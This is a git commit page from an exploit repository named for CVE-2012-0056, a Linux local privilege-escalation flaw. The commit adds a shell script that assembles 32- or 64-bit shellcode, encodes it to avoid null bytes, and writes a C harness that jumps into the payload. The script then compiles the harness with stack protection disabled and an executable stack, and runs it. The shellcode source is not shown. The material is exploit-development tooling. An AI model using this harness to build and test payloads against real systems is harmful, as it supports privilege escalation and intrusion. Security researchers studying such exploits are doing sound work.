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| author |   Jason A. Donenfeld <Jason@zx2c4.com> | 2012-01-22 06:16:39 +0100 |
|---|---|---|
| committer | Jason A. Donenfeld <Jason@zx2c4.com> | 2012-01-22 06:16:39 +0100 |
| commit | 14b33f1b7c5c761cc089dede4fa6aeb187ff66ac (patch) | |
| tree | df5f2aed70c872d7bc3059e2dc6de6c78fb17f90 /build-and-run-shellcode.sh | |
| parent | Add custom 64bit shellcode and preserve stderr. (diff) | |
| download | CVE-2012-0056-14b33f1b7c5c761cc089dede4fa6aeb187ff66ac.tar.xz CVE-2012-0056-14b33f1b7c5c761cc089dede4fa6aeb187ff66ac.zip | |
Add 32bit shellcode.
Diffstat (limited to 'build-and-run-shellcode.sh')
| -rwxr-xr-x | build-and-run-shellcode.sh | 6 |
1 files changed, 6 insertions, 0 deletions
diff --git a/build-and-run-shellcode.sh b/build-and-run-shellcode.sh new file mode 100755 index 0000000..0a8a34b --- /dev/null +++ b/build-and-run-shellcode.sh @@ -0,0 +1,6 @@ +#!/bin/sh +if [ "$1" == "32" ]; then + nasm -o /dev/stdout shellcode-32.s | msfencode4.0 -t c -e generic/none -b '\x00' > harness.c && echo "void main() { (*(void(*)())buf)(); }" >> harness.c && gcc -m32 -fno-stack-protector -z execstack -o harness harness.c && ./harness +else + nasm -o /dev/stdout shellcode-64.s | msfencode4.0 -t c -e generic/none -b '\x00' > harness.c && echo "void main() { (*(void(*)())buf)(); }" >> harness.c && gcc -fno-stack-protector -z execstack -o harness harness.c && ./harness +fi |